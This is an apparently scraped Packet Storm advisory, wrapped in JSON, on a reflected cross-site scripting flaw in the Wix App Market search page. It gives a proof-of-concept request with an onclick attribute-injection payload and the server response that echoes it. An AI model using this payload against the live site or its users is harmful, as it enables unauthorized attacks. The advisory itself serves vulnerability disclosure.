{“lastseen”:”2025-12-16T18:55:07″,”description”:”WIX.com appears to suffer from a cross site scripting vulnerability. The researcher contacted them months ago and they have ignored his report, so we are posting this to encourage them to address it and to let their users know that they could be…”,”published”:”2025-12-16T00:00:00″,”modified”:”2025-12-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WIX.com Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:212863″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”## Titles: WIX.com \/ market app Cross-site scripting (reflected)\\n ## Author: nu11secur1ty\\n ## Date: 8\/27\/2024\\n ## Vendor: https:\/\/www.wix.com\/\\n ## Software: https:\/\/www.wix.com\/market\\n ## Reference: https:\/\/portswigger.net\/web-security\/cross-site-scripting\\n \\n ## Description:\\n The value of the query request parameter is copied into the value of an\\n HTML tag attribute which is encapsulated in double quotation marks. The\\n payload eq7ab\\”accesskey=\\”x\\”onclick=\\”document.location=1\\”\/\/qkbzd was\\n submitted in the query parameter. This input was echoed unmodified in the\\n application’s response.\\n \\n STATUS: HIGH- Vulnerability\\n \\n [+]PoC:\\n “`\\n GET\\n \/app-market\/search-result?query=eq7ab%22accesskey%3d%22x%22onclick%3d%22document.location%3d1%22%2f%2fqkbzd\\n HTTP\/1.1\\n Host: www.wix.com\\n Cache-Control: max-age=0\\n Sec-Ch-Ua: \\”Chromium\\”;v=\\”139\\”, \\”Not;A=Brand\\”;v=\\”24\\”, \\”Google Chrome\\”;v=\\”139\\”\\n Sec-Ch-Ua-Mobile: ?0\\n Sec-Ch-Ua-Platform: \\”Windows\\”\\n Accept-Language: en-US;q=0.9,en;q=0.8\\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\n (KHTML, like Gecko) Chrome\/139.0.0.0 Safari\/537.36\\n Accept:\\n text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\\n Sec-Fetch-Site: none\\n Sec-Fetch-Mode: navigate\\n Sec-Fetch-User: ?1\\n Sec-Fetch-Dest: document\\n Accept-Encoding: gzip, deflate, br\\n Upgrade-Insecure-Requests: 1\\n Content-Length: 0\\n “`\\n [+]Response:\\n “`\\n HTTP\/2 200 OK\\n Content-Type: text\/html; charset=utf-8\\n Set-Cookie: XSRF-TOKEN=1755591144|Eg7emUWwe-IA; Domain=.wix.com; Path=\/;\\n Secure; SameSite=Lax\\n Set-Cookie: _wixAB3=3477653#1; Max-Age=15724800; Expires=Tue, 17 Feb 2026\\n 08:12:24 GMT; Path=\/app-market\/search-result; Domain=.wix.com\\n Etag: W\/\\”280f9-gSC7iOcPNDT2CRThSwJyIPL8Re8\\”\\n Pragma: no-cache\\n Cache-Control: no-store, no-cache\\n X-Wix-Request-Id: 1755591144.079172597310943348307\\n X-Wix-Request-Id: 1755591144.079172597310943348307\\n Strict-Transport-Security: max-age=31536000\\n Server: Pepyaka\\n X-Content-Type-Options: nosniff\\n Accept-Ranges: bytes\\n Date: Tue, 19 Aug 2025 08:12:25 GMT\\n X-Served-By: cache-mxp6959-MXP\\n X-Cache: MISS\\n Vary: Accept-Encoding\\n X-Seen-By:\\n yvSunuo\/8ld62ehjr5B7kA==,GilIRCy+Ky2nI9KZaDKzWLxkNjrXdwdgtu6E0yACibU=,yI4PPEXc3bvXNWfpzSkUarxkNjrXdwdgtu6E0yACibU=,m0j2EEknGIVUW\/liY8BLLhltI8UMiPPDOVwaTrPHXCH8v8cBhCntPM7PcrIAnRiP,jdDt270t0fniy2BugWKBrcczmKBTV50ZIhnFmHyHs57I9wpXHBT6h1wfBN9ClwxEB2liM03bnUiF6lTGavdqtA==,TeEjV9lv7\/HACQr2VMOeGw2Glp1kLqnecer2BlKK+IU=,b61bb5l8iKStMCYyOHGHzRnQM7J\/rJ7uPqCFTHO1XctorBYDGeK3UgGvWP2Td4iX2A0xrElz8K0jvAxA68GNHA==,PD4YJOeir0FhY6Fl90bUjyPr+onDcVcE7HwIMshK4tA=,mvxQ9qSAmY38asKjFCcmG9fqwOC4CaktraAMWrC0uVj1OAazU43d\/JllZoi5V6gBMOqF25aPBecVfgGQEnEHcw==\\n Via: 1.1 google\\n Glb-X-Seen-By: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=\\n Alt-Svc: h3=\\”:443\\”; ma=2592000,h3-29=\\”:443\\”; ma=2592000\\n \\n \\u003c!doctype html\\u003e\\n \\u003chtml\\u003e\\n \\n \\u003chead\\u003e\\n \\n \\u003cmeta http-equiv=\\”content-type\\” content=\\”text\/html; charset=UTF-8\\” \/\\u003e\\n \\u003cmeta http-equiv=\\”content-language\\” content=’en’ \/\\u003e\\n \\n \\n \\u003ctitle data-meta-tags-aggr\\n …[SNIP]…\\n \\u003cmeta data-meta-tags-aggregator=\\”true\\” property=\\”og:title\\” content=\\”You\\n searched for eq7ab\\”accesskey=\\”x\\”onclick=\\”document.location=1\\”\/\/qkbzd | Wix\\n App Market\\” \/\\u003e\\n …[SNIP]…\\n “`\\n \\n ## Reproduce:\\n [href](https:\/\/www.patreon.com\/posts\/wix-com-xss-136830597)\\n \\n ## Demo PoC:\\n [href](https:\/\/www.patreon.com\/posts\/wix-com-xss-136830597)\\n \\n ## Time spent:\\n 03:27:00\\n \\n \\n — \\n System Administrator – Infrastructure Engineer\\n Penetration Testing Engineer\\n Exploit developer at https:\/\/packetstormsecurity.com\/\\n https:\/\/cve.mitre.org\/index.html\\n https:\/\/cxsecurity.com\/ and https:\/\/www.exploit-db.com\/\\n 0day Exploit DataBase https:\/\/0day.today\/\\n home page: https:\/\/www.nu11secur1ty.com\/\\n hiPEnIMR0v7QCo\/+SEH9gBclAAYWGnPoBIQ75sCj60E=\\n nu11secur1ty \\u003chttp:\/\/nu11secur1ty.com\/\\u003e”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212863″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212863\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-16T18:55:07″,”description”:”WIX.com appears to suffer from a cross site scripting vulnerability. The researcher contacted them months ago and they have ignored his report, so we are…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-31418","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n